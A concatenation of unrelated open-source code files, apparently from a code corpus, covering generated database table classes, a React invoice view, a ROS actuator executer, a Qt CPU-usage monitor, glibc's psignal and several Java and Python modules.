public final TableField<Record, Integer> COLUMN_COUNT = createField(DSL.name("COLUMN_COUNT"), SQLDataType.INTEGER, this, "");
/**
* The column <code>INFORMATION_SCHEMA.FUNCTION_ALIASES.RETURNS_RESULT</code>.
*/
public final TableField<Record, Short> RETURNS_RESULT = createField(DSL.name("RETURNS_RESULT"), SQLDataType.SMALLINT, this, "");
/**
* The column <code>INFORMATION_SCHEMA.FUNCTION_ALIASES.REMARKS</code>.
*/
public final TableField<Record, String> REMARKS = createField(DSL.name("REMARKS"), SQLDataType.VARCHAR, this, "");
/**
* The column <code>INFORMATION_SCHEMA.FUNCTION_ALIASES.ID</code>.
*/
public final TableField<Record, Integer> ID = createField(DSL.name("ID"), SQLDataType.INTEGER, this, "");
/**
* The column <code>INFORMATION_SCHEMA.FUNCTION_ALIASES.SOURCE</code>.
*/
public final TableField<Record, String> SOURCE = createField(DSL.name("SOURCE"), SQLDataType.VARCHAR, this, "");
private FunctionAliases(Name alias, Table<Record> aliased) {
this(alias, aliased, null);
}
private FunctionAliases(Name alias, Table<Record> aliased, Field<?>[] parameters) {
super(alias, null, aliased, parameters, DSL.comment(""), TableOptions.table());
}
/**
* Create an aliased <code>INFORMATION_SCHEMA.FUNCTION_ALIASES</code> table reference
*/
public FunctionAliases(String alias) {
this(DSL.name(alias), FUNCTION_ALIASES);
}
/**
* Create an aliased <code>INFORMATION_SCHEMA.FUNCTION_ALIASES</code> table reference
*/
public FunctionAliases(Name alias) {
this(alias, FUNCTION_ALIASES);
}
/**
* Create a <code>INFORMATION_SCHEMA.FUNCTION_ALIASES</code> table reference
*/
public FunctionAliases() {
this(DSL.name("FUNCTION_ALIASES"), null);
}
public <O extends Record> FunctionAliases(Table<O> child, ForeignKey<O, Record> key) {
super(child, key, FUNCTION_ALIASES);
}
@Override
public Schema getSchema() {
return InformationSchema.INFORMATION_SCHEMA;
}
@Override
public FunctionAliases as(String alias) {
return new FunctionAliases(DSL.name(alias), this);
}
@Override
public FunctionAliases as(Name alias) {
return new FunctionAliases(alias, this);
}
/**
* Rename this table
*/
@Override
public FunctionAliases rename(String name) {
return new FunctionAliases(DSL.name(name), null);
}
/**
* Rename this table
*/
@Override
public FunctionAliases rename(Name name) {
return new FunctionAliases(name, null);
}
}
|
folio-org/ui-invoice | src/invoices/InvoiceDetails/Information/Information.js | import React from 'react';
import PropTypes from 'prop-types';
import { FormattedMessage } from 'react-intl';
import { isNumber } from 'lodash';
import {
Col,
KeyValue,
Row,
} from '@folio/stripes/components';
import { ViewMetaData } from '@folio/stripes/smart-components';
import {
AcqUnitsView,
AmountWithCurrencyField,
FolioFormattedDate,
sourceLabels,
} from '@folio/stripes-acq-components';
import {
ApprovedBy,
StatusValue,
} from '../../../common/components';
import { isCancelled } from '../../../common/utils';
import BatchGroupValue from '../BatchGroupValue';
import BillTo from './BillTo';
const Information = ({
adjustmentsTotal,
approvalDate,
approvedBy,
batchGroupId,
invoiceDate,
paymentDue,
metadata,
paymentDate,
paymentTerms,
source,
status,
subTotal,
total,
billTo,
invoiceTotalUnits,
acqUnits,
currency,
note,
lockTotal,
cancellationNote,
}) => {
const isLockTotal = isNumber(lockTotal);
return (
<>
{metadata && <ViewMetaData metadata={metadata} />}
<Row>
<Col xs={3}>
<KeyValue
label={<FormattedMessage id="ui-invoice.invoice.details.information.invoiceDate" />}
value={<FolioFormattedDate value={invoiceDate} />}
/>
</Col>
<Col xs={3}>
<StatusValue value={status} />
</Col>
{isCancelled(status) && (
<Col xs={3}>
<KeyValue
label={<FormattedMessage id="ui-invoice.invoice.cancellationNote" />}
value={cancellationNote}
/>
</Col>
)}
<Col xs={3}>
<KeyValue
label={<FormattedMessage id="ui-invoice.invoice.details.information.paymentDue" />}
value={<FolioFormattedDate value={paymentDue} />}
/>
</Col>
<Col xs={3}>
<KeyValue
label={<FormattedMessage id="ui-invoice.invoice.paymentTerms" />}
value={paymentTerms}
/>
</Col>
<Col xs={3}>
<KeyValue
label={<FormattedMessage id="ui-invoice.invoice.details.information.approvedDate" />}
value={<FolioFormattedDate value={approvalDate} />}
/>
</Col>
<Col
data-test-approved-by
xs={3}
>
<ApprovedBy approvedByUserId={approvedBy} />
</Col>
<Col xs={3}>
<AcqUnitsView units={acqUnits} />
</Col>
<Col xs={3}>
<KeyValue
label={<FormattedMessage id="ui-invoice.invoice.details.information.source" />}
value={sourceLabels[source]}
/>
</Col>
</Row>
<Row>
<Col xs={3}>
<KeyValue
label={<FormattedMessage id="ui-invoice.invoice.note" />}
value={note}
/>
</Col>
<Col xs={3}>
<BillTo billToId={billTo} />
</Col>
<Col xs={3}>
<BatchGroupValue
id={batchGroupId}
label={<FormattedMessage id="ui-invoice.invoice.details.information.batchGroup" />}
/>
</Col>
<Col xs={3}>
<KeyValue label={<FormattedMessage id="ui-invoice.invoice.paymentDate" />}>
<FolioFormattedDate value={paymentDate} />
</KeyValue>
</Col>
</Row>
<Row>
<Col xs={3}>
<KeyValue
label={<FormattedMessage id="ui-invoice.invoice.details.information.totalUnits" />}
value={invoiceTotalUnits}
/>
</Col>
<Col xs={3}>
<KeyValue label={<FormattedMessage id="ui-invoice.invoice.details.information.subTotal" />}>
<AmountWithCurrencyField
amount={subTotal}
currency={currency}
/>
</KeyValue>
</Col>
<Col xs={3}>
<KeyValue label={<FormattedMessage id="ui-invoice.invoice.details.information.adjustment" />}>
<AmountWithCurrencyField
amount={adjustmentsTotal}
currency={currency}
/>
</KeyValue>
</Col>
<Col xs={3}>
<KeyValue label={<FormattedMessage id="ui-invoice.invoice.details.information.calculatedTotalAmount" />}>
<AmountWithCurrencyField
amount={total}
currency={currency}
/>
</KeyValue>
</Col>
</Row>
<Row>
{isLockTotal && (
<Col xs={3} data-testid="lock-total-amount">
<KeyValue label={<FormattedMessage id="ui-invoice.invoice.lockTotalAmount" />}>
<AmountWithCurrencyField
amount={lockTotal}
currency={currency}
/>
</KeyValue>
</Col>
)}
</Row>
</>
);
};
Information.propTypes = {
adjustmentsTotal: PropTypes.number,
approvalDate: PropTypes.string,
approvedBy: PropTypes.string,
batchGroupId: PropTypes.string.isRequired,
invoiceDate: PropTypes.string.isRequired,
paymentDue: PropTypes.string,
paymentTerms: PropTypes.string,
status: PropTypes.string.isRequired,
subTotal: PropTypes.number,
total: PropTypes.number,
source: PropTypes.string.isRequired,
metadata: PropTypes.object,
billTo: PropTypes.string,
invoiceTotalUnits: PropTypes.number,
acqUnits: PropTypes.arrayOf(PropTypes.string),
currency: PropTypes.string.isRequired,
note: PropTypes.string,
lockTotal: PropTypes.number,
paymentDate: PropTypes.string,
cancellationNote: PropTypes.string,
};
Information.defaultProps = {
invoiceTotalUnits: 0,
acqUnits: [],
};
export default Information;
|
stevejay/artfullylondon-api | event-service/src/event-service/index.js | <reponame>stevejay/artfullylondon-api
import * as eventRepository from "../persistence/event-repository";
import * as normaliser from "./normaliser";
import * as validator from "./validator";
import * as mapper from "./mapper";
import * as notifier from "../notifier";
export async function get(params, options) {
const dbEvent = await getImpl(params, options, false);
return dbEvent ? mapper.mapResponse(dbEvent) : null;
}
export async function getForEdit(params, options) {
return await getImpl(params, options, true);
}
async function getImpl(params, options, consistentRead) {
let dbEvent = await eventRepository.tryGet(params.id, consistentRead);
if (!dbEvent) {
return null;
}
const referencedEntities = await eventRepository.getReferencedEntities(
dbEvent,
consistentRead,
options
);
return mapper.mergeReferencedEntities(dbEvent, referencedEntities);
}
export async function createOrUpdate(params) {
const event = normaliser.normaliseCreateOrUpdateEventRequest(params);
validator.validateCreateOrUpdateEventRequest(event);
let dbEvent = mapper.mapCreateOrUpdateEventRequest(event);
await eventRepository.createOrUpdate(dbEvent);
await notifier.updateEvent(dbEvent.id);
const referencedEntities = await eventRepository.getReferencedEntities(
dbEvent,
false,
{ fetchVenue: true, fetchEventSeries: true, fetchTalents: true }
);
dbEvent = mapper.mergeReferencedEntities(dbEvent, referencedEntities);
return mapper.mapResponse(dbEvent);
}
export async function getNextId(lastId) {
return await eventRepository.getNextId(lastId);
}
|
OmniPico/PicoItemLib | work/decompile-b94c4521/net/minecraft/server/BlockWeepingVinesPlant.java | <filename>work/decompile-b94c4521/net/minecraft/server/BlockWeepingVinesPlant.java
package net.minecraft.server;
public class BlockWeepingVinesPlant extends BlockGrowingStem {
public static final VoxelShape d = Block.a(1.0D, 0.0D, 1.0D, 15.0D, 16.0D, 15.0D);
public BlockWeepingVinesPlant(BlockBase.Info blockbase_info) {
super(blockbase_info, EnumDirection.DOWN, BlockWeepingVinesPlant.d, false);
}
@Override
protected BlockGrowingTop c() {
return (BlockGrowingTop) Blocks.WEEPING_VINES;
}
}
|
ToonTalk/behaviour-composer | BC/src/uk/ac/lkl/server/persistent/NetLogoNameSerialNumber.java | <reponame>ToonTalk/behaviour-composer
/**
*
*/
package uk.ac.lkl.server.persistent;
// import javax.persistence.Id;
import com.googlecode.objectify.annotation.Id;
import com.googlecode.objectify.annotation.Cached;
/**
* Maintains the largest serial number assigned to
* a NetLogo procedure name
*
* @author <NAME>
*
*/
@Cached
public class NetLogoNameSerialNumber {
@Id
private String name;
private int serialNumber;
public NetLogoNameSerialNumber(String name, int serialNumber) {
this.name = name;
this.serialNumber = serialNumber;
}
public NetLogoNameSerialNumber() {
// for Objectify
}
public String getName() {
return name;
}
public int getSerialNumber() {
return serialNumber;
}
public void incrementSerialNumber() {
this.serialNumber++;
}
}
|
BatsResearch/taglets | taglets/pipeline/end_model.py | <reponame>BatsResearch/taglets<filename>taglets/pipeline/end_model.py<gh_stars>10-100
from .taglet import ImageTrainable, VideoTrainable
import logging
import os
import torch
import numpy as np
log = logging.getLogger(__name__)
class EndModelMixin():
def __init__(self, task):
super().__init__(task)
self.name = 'end model'
m = torch.nn.Sequential(*list(self.model.children())[:-1])
output_shape = self._get_model_output_shape(self.task.input_shape, m)
if self.model_type == 'resnet50':
self.model.fc = torch.nn.Sequential(torch.nn.Dropout(0.3),
torch.nn.Linear(output_shape, len(self.task.classes)))
elif self.model_type == 'bigtransfer':
self.model.fc = torch.nn.Conv2d(2048, len(self.task.classes), kernel_size=1, bias=True)
with torch.no_grad():
torch.nn.init.zeros_(self.model.fc.weight)
torch.nn.init.zeros_(self.model.fc.bias)
if os.getenv("LWLL_TA1_PROB_TASK") is not None:
self.save_dir = os.path.join('/home/tagletuser/trained_models', self.name)
else:
self.save_dir = os.path.join('trained_models', self.name)
os.makedirs(self.save_dir, exist_ok=True)
self.criterion = self.soft_cross_entropy
params_to_update = []
for param in self.model.parameters():
if param.requires_grad:
params_to_update.append(param)
self._params_to_update = params_to_update
if self.model_type == 'resnet50':
self.optimizer = torch.optim.Adam(self._params_to_update, lr=self.lr, weight_decay=1e-4)
self.lr_scheduler = torch.optim.lr_scheduler.StepLR(self.optimizer, step_size=20, gamma=0.1)
elif self.model_type == 'bigtransfer':
self.optimizer = torch.optim.SGD(self._params_to_update, lr=0.003, momentum=0.9)
self.lr_scheduler = None
self.num_epochs = 500
@staticmethod
def soft_cross_entropy(outputs, target):
outputs = outputs.double()
target = target.double()
logs = torch.nn.LogSoftmax(dim=1)
return torch.mean(torch.sum(-target * logs(outputs), 1))
@staticmethod
def _get_train_acc(outputs, labels):
return torch.sum(torch.max(outputs, 1)[1] == torch.max(labels, 1)[1])
class ImageEndModel(EndModelMixin, ImageTrainable):
"""
An end model for image data
"""
class VideoEndModel(EndModelMixin, VideoTrainable):
"""
An end model for video data
"""
class RandomEndModel(ImageEndModel):
def train(self, train_data, val_data, unlabeled_data=None):
pass
def predict(self, data):
if len(data) == 0:
raise ValueError('Should not get an empty dataset')
if isinstance(data[0], tuple):
data_loader = torch.utils.data.DataLoader(
dataset=data, batch_size=self.batch_size, shuffle=False,
num_workers=self.num_workers, pin_memory=True
)
labels = []
for batch in data_loader:
inputs, targets = batch
labels.append(targets)
labels = torch.cat(labels).numpy()
return np.random.rand(len(data), len(self.task.classes)), labels
else:
return np.random.rand(len(data), len(self.task.classes))
|
HisenZhang/RM2019SummerCamp | RCBigAlgo/catkin_ws/src/rcbigalgo/include/mechanical_executer.h | <gh_stars>10-100
#ifndef MECHANICAL_EXECUTER_H
#define MECHANICAL_EXECUTER_H
#include <ros/ros.h>
#include <std_msgs/Float64MultiArray.h>
namespace MechanicalExecuter {
const double ANGULAR_TOLERANCE = 5.0 / 180.0 * M_PI; //rad
enum ActionType {
ACTION_NONE,
ACTION_SERVO,
ACTION_MOTOR
};
struct Action {
ActionType type;
int actutator_id;
double setpoint;
ros::Time target_time;
};
//Comm
ros::Subscriber motor_status_sub;
ros::Publisher motor_setpoint_pub;
ros::Publisher servo_setpoint_pub;
std_msgs::Float64MultiArray MotorStatus;
std_msgs::Float64MultiArray MotorSetpoint;
std_msgs::Float64MultiArray ServoSetpoint;
//Action List
std::vector<Action> MechanicalActions;
bool IsBusy() {
return !MechanicalActions.empty();
}
void update() {
if(MechanicalActions.empty()) return;
bool Finished = false;
//get first action
Action &CurAction = *MechanicalActions.begin();
//send setpoint
switch(CurAction.type) {
case ACTION_SERVO:
//send setpoint
if(CurAction.actutator_id > (int)ServoSetpoint.data.size() - 1) {
ServoSetpoint.data.resize(CurAction.actutator_id + 1);
}
ServoSetpoint.data[CurAction.actutator_id] = CurAction.setpoint;
servo_setpoint_pub.publish(ServoSetpoint);
//wait countdown
Finished = ros::Time::now() >= CurAction.target_time;
break;
case ACTION_MOTOR:
//send setpoint
if(CurAction.actutator_id > (int)MotorSetpoint.data.size() - 1) {
MotorSetpoint.data.resize(CurAction.actutator_id + 1);
}
MotorSetpoint.data[CurAction.actutator_id] = CurAction.setpoint;
motor_setpoint_pub.publish(MotorSetpoint);
//wait for angle
Finished = false;
if((3 * CurAction.actutator_id) <= (int)MotorStatus.data.size() - 1) {
Finished = fabs(CurAction.setpoint - MotorStatus.data[3 * CurAction.actutator_id]) < ANGULAR_TOLERANCE;
}
break;
default:
Finished = true;
break;
}
//remove if finished
if(Finished) MechanicalActions.erase(MechanicalActions.begin());
}
void CallbackMotorStatus(const std_msgs::Float64MultiArray::ConstPtr &motor_status) {
MotorStatus = *motor_status;
}
void reset() {
MechanicalActions.clear();
}
void init() {
ros::NodeHandle nh;
servo_setpoint_pub = nh.advertise<std_msgs::Float64MultiArray>("servo", 100);
motor_setpoint_pub = nh.advertise<std_msgs::Float64MultiArray>("motor", 100);
motor_status_sub = nh.subscribe<std_msgs::Float64MultiArray>("motorstatus", 100, &CallbackMotorStatus);
reset();
}
}
#endif
|
seckcoder/lang-learn | python/thrift/gen-cpp/case_types.cpp | <reponame>seckcoder/lang-learn<gh_stars>1-10
/**
* Autogenerated by Thrift Compiler (0.9.0-dev)
*
* DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
* @generated
*/
#include "case_types.h"
#include <algorithm>
const char* TestCase::ascii_fingerprint = "37B2446DC377ADEFEF2182DF53458E87";
const uint8_t TestCase::binary_fingerprint[16] = {0x37,0xB2,0x44,0x6D,0xC3,0x77,0xAD,0xEF,0xEF,0x21,0x82,0xDF,0x53,0x45,0x8E,0x87};
uint32_t TestCase::read(::apache::thrift::protocol::TProtocol* iprot) {
uint32_t xfer = 0;
std::string fname;
::apache::thrift::protocol::TType ftype;
int16_t fid;
xfer += iprot->readStructBegin(fname);
using ::apache::thrift::protocol::TProtocolException;
bool isset_id = false;
while (true)
{
xfer += iprot->readFieldBegin(fname, ftype, fid);
if (ftype == ::apache::thrift::protocol::T_STOP) {
break;
}
switch (fid)
{
case 1:
if (ftype == ::apache::thrift::protocol::T_I32) {
xfer += iprot->readI32(this->id);
isset_id = true;
} else {
xfer += iprot->skip(ftype);
}
break;
case 2:
if (ftype == ::apache::thrift::protocol::T_STRING) {
xfer += iprot->readString(this->text);
this->__isset.text = true;
} else {
xfer += iprot->skip(ftype);
}
break;
case 3:
if (ftype == ::apache::thrift::protocol::T_STRING) {
xfer += iprot->readString(this->name);
this->__isset.name = true;
} else {
xfer += iprot->skip(ftype);
}
break;
default:
xfer += iprot->skip(ftype);
break;
}
xfer += iprot->readFieldEnd();
}
xfer += iprot->readStructEnd();
if (!isset_id)
throw TProtocolException(TProtocolException::INVALID_DATA);
return xfer;
}
uint32_t TestCase::write(::apache::thrift::protocol::TProtocol* oprot) const {
uint32_t xfer = 0;
xfer += oprot->writeStructBegin("TestCase");
xfer += oprot->writeFieldBegin("id", ::apache::thrift::protocol::T_I32, 1);
xfer += oprot->writeI32(this->id);
xfer += oprot->writeFieldEnd();
if (this->__isset.text) {
xfer += oprot->writeFieldBegin("text", ::apache::thrift::protocol::T_STRING, 2);
xfer += oprot->writeString(this->text);
xfer += oprot->writeFieldEnd();
}
if (this->__isset.name) {
xfer += oprot->writeFieldBegin("name", ::apache::thrift::protocol::T_STRING, 3);
xfer += oprot->writeString(this->name);
xfer += oprot->writeFieldEnd();
}
xfer += oprot->writeFieldStop();
xfer += oprot->writeStructEnd();
return xfer;
}
void swap(TestCase &a, TestCase &b) {
using ::std::swap;
swap(a.id, b.id);
swap(a.text, b.text);
swap(a.name, b.name);
swap(a.__isset, b.__isset);
}
|
BVier/Taskana | history/taskana-simplehistory-rest-spring/src/main/java/pro/taskana/rest/resource/TaskHistoryEventAssembler.java | <filename>history/taskana-simplehistory-rest-spring/src/main/java/pro/taskana/rest/resource/TaskHistoryEventAssembler.java
package pro.taskana.rest.resource;
import org.springframework.beans.BeanUtils;
import org.springframework.hateoas.mvc.ResourceAssemblerSupport;
import pro.taskana.history.api.TaskanaHistoryEvent;
import pro.taskana.simplehistory.impl.HistoryEventImpl;
/** Transforms any {@link HistoryEventImpl} into its {@link TaskHistoryEventResource}. */
public class TaskHistoryEventAssembler
extends ResourceAssemblerSupport<TaskanaHistoryEvent, TaskHistoryEventResource> {
public TaskHistoryEventAssembler() {
super(HistoryEventImpl.class, TaskHistoryEventResource.class);
}
@Override
public TaskHistoryEventResource toResource(TaskanaHistoryEvent historyEvent) {
TaskHistoryEventResource resource = createResourceWithId(historyEvent.getId(), historyEvent);
BeanUtils.copyProperties(historyEvent, resource);
if (historyEvent.getCreated() != null) {
resource.setCreated(historyEvent.getCreated().toString());
}
resource.setTaskHistoryId(String.valueOf(historyEvent.getId()));
resource.removeLinks();
return resource;
}
}
|
sabertazimi/hust-lab | operatingSystems/hust-final/proj1_2/cpuwindow.cpp | <reponame>sabertazimi/hust-lab
#include <QString>
#include <QTimer>
#include <cstdio>
#include <unistd.h>
#include "cpuwindow.h"
using namespace std;
CPUWindow::CPUWindow(QWidget *parent) : QMainWindow(parent)
{
move(QPoint(600, 300));
label = new QLabel(this);
label->setText("CPU Usage = 0%");
label->setFixedSize(220,50);
cpuTxt = new char[10];
// using slots to implement update
QTimer *timer = new QTimer(this);
connect(timer, SIGNAL(timeout()), this, SLOT(updateCPU()));
timer->start(2000);
}
CPUWindow::~CPUWindow(void)
{
delete label;
delete cpuTxt;
}
const char* CPUWindow::getCPU(void) {
FILE *proc_stat = NULL;
char buf[50];
int total = 0, idle = 0;
// open /proc/stat
proc_stat = fopen("/proc/stat","r");
if (proc_stat == NULL) {
exit(0);
}
fscanf(proc_stat, "%s", buf);
for(int i = 0; i < 10; i++) {
fscanf(proc_stat, "%s", buf);
total += atoi(buf);
// column 4: idle spare time
if (i == 3) {
idle = atoi(buf);
}
}
fseek(proc_stat, 0, SEEK_SET); // reset seek pointer to 0 (read file again)
sleep(1); // update cpu stat
fscanf(proc_stat, "%s", buf);
for (int i = 0; i < 10; i++) {
fscanf(proc_stat, "%s", buf);
total -= atoi(buf);
// column 4: idle spare time
if (i == 3) {
idle-=atoi(buf);
}
}
fclose(proc_stat);
sprintf(cpuTxt, "CPU Usage = %.2f%%\n", 100.0*((float)(idle-total)) / ((float)(-total)));
return cpuTxt;
}
void CPUWindow::updateCPU(void) {
label->setText(QString(getCPU()));
}
|
mmattamala/gtsam.org | doxygen/a02788.js | var a02788 =
[
[ "Base", "a02788.html#a8014b64b6ca21e950abfd4666ff81ed0", null ],
[ "BaseEliminateable", "a02788.html#aa8426d72a4ee49cdea4c01dd04bfb412", null ],
[ "Indices", "a02788.html#a2e98a123ffbf71a3ad7d5070c458e227", null ],
[ "shared_ptr", "a02788.html#a4a38a0fa8aea06ee7fa1d9dceab25387", null ],
[ "sharedValues", "a02788.html#a7551e76d25347a34eda2e71eb2c30cee", null ],
[ "This", "a02788.html#a50796434e042f15199bdb6695530189a", null ],
[ "Values", "a02788.html#a1e9a0d5daee7719e1993a91a68bf3e8d", null ],
[ "DiscreteFactorGraph", "a02788.html#a9c6155d411d5e8f4169ac14982175908", null ],
[ "DiscreteFactorGraph", "a02788.html#ab200e82a32be55ee64c8e0450e289daa", null ],
[ "DiscreteFactorGraph", "a02788.html#a1cc891cc009075ea80f8d114f5ce7941", null ],
[ "DiscreteFactorGraph", "a02788.html#ab1687dd520685928c9effcaea5473416", null ],
[ "add", "a02788.html#a69d2c65f5ec1219272148cd123c6463f", null ],
[ "add", "a02788.html#a3c80e510039e83f8a4280dfdafab9b3f", null ],
[ "add", "a02788.html#a87ce384440c43993e8f98d9fd409c001", null ],
[ "equals", "a02788.html#af1d53398c01c0d0beb5f60be5055080a", null ],
[ "keys", "a02788.html#abc343953dd57e2f19a4778f34d63dfc2", null ],
[ "operator()", "a02788.html#ac2d1ef20ecbb34888bbbfd72d42a5b71", null ],
[ "optimize", "a02788.html#a575e68409fd079ab7c72974aae067871", null ],
[ "print", "a02788.html#a37b7db9563f7016b2edc076ca537cb10", null ],
[ "product", "a02788.html#ac4424bd9e7e9decc7d140610f0c515f8", null ]
]; |
Gridelen/cpp-prog-lang-ex | 12_Funcs/Ex/1/Source.cpp | /*
[1] (*1) Write declarations for the following: a function taking arguments of type pointer to character and reference to integer and returning no value; a pointer to such a function; a function
taking such a pointer as an argument; and a function returning such a pointer. Write the definition of a function that takes such a pointer as an argument and returns its argument as the
return value. Hint: Use a type alias (using).
*/
#include <iostream>
void f1(char* p, int& n)
{
std::cout << __FUNCTION__ << " " << p[n] << "\n";
}
using pf1 = void(*)(char*, int&);
void f2(pf1 f)
{
}
pf1 f3()
{
return f1;
}
pf1 f4(pf1 f)
{
return f;
}
int main()
{
char p[] = "abcd";
int n = 1;
f4(&f1)(p, n);
return 0;
} |
JulKaltenegger/ROTUNDORO- | src/components/ProjectSelection/CardGrid.js | import React from "react";
import { Grid } from "@material-ui/core";
import ProjectCard from "./ProjectCard";
import { makeStyles } from "@material-ui/core/styles";
const useStyles = makeStyles((theme) => ({
root: {
flexGrow: 1,
},
}));
const CardGrid = (props) => {
const classes = useStyles();
return (
<Grid container className={classes.root} spacing={2}>
<Grid item xs={12}>
<Grid container justify="center" spacing={8}>
{props.projects.map((project) => {
if (project.permissions.includes("http://www.w3.org/ns/auth/acl#Read")) {
return (
<Grid key={project.id} item>
<ProjectCard project={project} onDelete={props.onDelete}/>
</Grid>
);
}
})}
</Grid>
</Grid>
</Grid>
);
};
export default CardGrid;
|
VivekMaran27/How-to-install-SimpleScalar-on-Ubuntu | build/glibc-1.09/stdio/psignal.c | <reponame>VivekMaran27/How-to-install-SimpleScalar-on-Ubuntu<filename>build/glibc-1.09/stdio/psignal.c
/* Copyright (C) 1991, 1992 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Library General Public License as
published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Library General Public License for more details.
You should have received a copy of the GNU Library General Public
License along with the GNU C Library; see the file COPYING.LIB. If
not, write to the Free Software Foundation, Inc., 675 Mass Ave,
Cambridge, MA 02139, USA. */
#include <ansidecl.h>
#include <stdio.h>
#include <signal.h>
#ifndef HAVE_GNU_LD
#define _sys_siglist sys_siglist
#endif
/* Defined in sys_siglist.c. */
extern CONST char *CONST _sys_siglist[];
/* Print out on stderr a line consisting of the test in S, a colon, a space,
a message describing the meaning of the signal number SIG and a newline.
If S is NULL or "", the colon and space are omitted. */
void
DEFUN(psignal, (sig, s), int sig AND register CONST char *s)
{
CONST char *colon;
if (s == NULL || s == '\0')
s = colon = "";
else
colon = ": ";
if (sig >= 0 && sig < NSIG)
(void) fprintf(stderr, "%s%s%s\n", s, colon, _sys_siglist[sig]);
else
(void) fprintf(stderr, "%s%sUnknown signal %d\n", s, colon, sig);
}
|
Amatofrancesco99/Progetto-F21 | src/main/java/cinema/model/persistence/dao/interfaces/IDiscountDao.java | <reponame>Amatofrancesco99/Progetto-F21
package cinema.model.persistence.dao.interfaces;
import java.sql.SQLException;
import cinema.model.reservation.discount.types.DiscountAge;
import cinema.model.reservation.discount.types.DiscountDay;
import cinema.model.reservation.discount.types.DiscountNumberSpectators;
/**
* Contiene i metodi necessari per mantenere la persistenza dei dati riguardanti
* gli sconti.
*
* @author <NAME>adillo Team
*
*/
public interface IDiscountDao {
/**
* Restituisce tutti gli sconti che applicano una riduzione di prezzo in base
* alla data di proiezione presenti nel database.
*
* @return gli sconti presenti nel database che applicanola riduzione di prezzo
* sulla base della data di proiezione o null se non è presente nessuno
* sconto di quel tipo.
* @throws SQLException se vengono riscontrati errori nell'interazione con il
* meccanismo di persistenza.
*/
public DiscountDay getAllDayDiscounts() throws SQLException;
/**
* Restituisce tutti gli sconti che applicano una riduzione di prezzo in base
* all'età dello spettaore.
*
* @return gli sconti presenti nel database che applicanola riduzione di prezzo
* sulla base dell'età dello spettatore o null se non è presente nessuno
* sconto di quel tipo.
* @throws SQLException se vengono riscontrati errori nell'interazione con il
* meccanismo di persistenza.
*/
public DiscountAge getAgeDiscounts() throws SQLException;
/**
* Restituisce tutti gli sconti che applicano una riduzione di prezzo in base al
* nuemero di biglietti comprati.
*
* @return gli sconti presenti nel database che applicanola riduzione di prezzo
* sulla base della al nuemero di biglietti comprati o null se non è
* presente nessuno sconto di quel tipo.
* @throws SQLException se vengono riscontrati errori nell'interazione con il
* meccanismo di persistenza.
*/
public DiscountNumberSpectators getGroupDiscounts() throws SQLException;
}
|
SebGrenier/OpenCLFilterPipeline | OpenCLFilterPipeline/Camera.cpp | <reponame>SebGrenier/OpenCLFilterPipeline
#include "Camera.h"
Camera::Camera()
: _center_x(0)
, _center_y(0)
, _width(1)
, _height(1)
, _zoom_level(1)
{ }
Camera::~Camera()
{ }
void Camera::Translate(double x, double y)
{
_center_x += x;
_center_y += y;
}
void Camera::Zoom(const double factor)
{
_width = _width * factor;
_height = _height * factor;
_zoom_level *= factor;
}
void Camera::Set(double center_x, double center_y, double width, double height, double zoom_level)
{
_center_x = center_x;
_center_y = center_y;
_width = width;
_height = height;
_zoom_level = zoom_level;
}
double Camera::Left() const
{
return _center_x - _width / 2.0;
}
double Camera::Right() const
{
return _center_x + _width / 2.0;
}
double Camera::Top() const
{
return _center_y + _height / 2.0;
}
double Camera::Bottom() const
{
return _center_y - _height / 2.0;
}
void Camera::Fit(const double width, const double height, double center_x, double center_y)
{
_center_x = center_x;
_center_y = center_y;
_zoom_level = 1.0;
double aspect_ratio = _width / _height;
if (height > width)
{
_height = height;
_width = _height * aspect_ratio;
}
else
{
_width = width;
_height = _width / aspect_ratio;
}
}
|
eikek/publet | web/src/main/scala/org/eknet/publet/web/guice/ModuleManager.scala | <filename>web/src/main/scala/org/eknet/publet/web/guice/ModuleManager.scala
/*
* Copyright 2012 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.eknet.publet.web.guice
import java.util.ServiceLoader
import org.eknet.publet.web.Config
import collection.JavaConversions._
import grizzled.slf4j.Logging
import com.google.inject.Module
/**
* @author <NAME> <EMAIL>
* @since 15.10.12 18:42
*/
class ModuleManager(config: Config) extends Logging {
val modules = ServiceLoader.load(classOf[PubletModule])
.iterator()
.withFilter(ext => config(ext.getClass.getName).getOrElse("true").toBoolean)
.toList
val moduleNames = modules.map(_.getClass.getName).sorted
}
|
FreddieSun/twister2 | twister2/executor/src/java/edu/iu/dsc/tws/executor/core/ExecutionRuntime.java | <filename>twister2/executor/src/java/edu/iu/dsc/tws/executor/core/ExecutionRuntime.java
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package edu.iu.dsc.tws.executor.core;
import edu.iu.dsc.tws.common.config.Config;
import edu.iu.dsc.tws.common.config.Context;
import edu.iu.dsc.tws.comms.api.TWSChannel;
import edu.iu.dsc.tws.data.api.InputPartitioner;
import edu.iu.dsc.tws.data.fs.Path;
import edu.iu.dsc.tws.data.fs.io.InputSplit;
import edu.iu.dsc.tws.dataset.DataSource;
import edu.iu.dsc.tws.executor.api.ExecutionPlan;
import edu.iu.dsc.tws.task.api.TaskContext;
/**
* Captures the runtime information about the system.
*/
public class ExecutionRuntime {
/**
* Name of the job
*/
private String jobName;
/**
* The job directory
*/
private Path parentpath;
/**
* Execution plan
*/
private ExecutionPlan plan;
/**
* The communication channel
*/
private TWSChannel channel;
public ExecutionRuntime(String jName, ExecutionPlan execPlan, TWSChannel ch) {
this.jobName = jName;
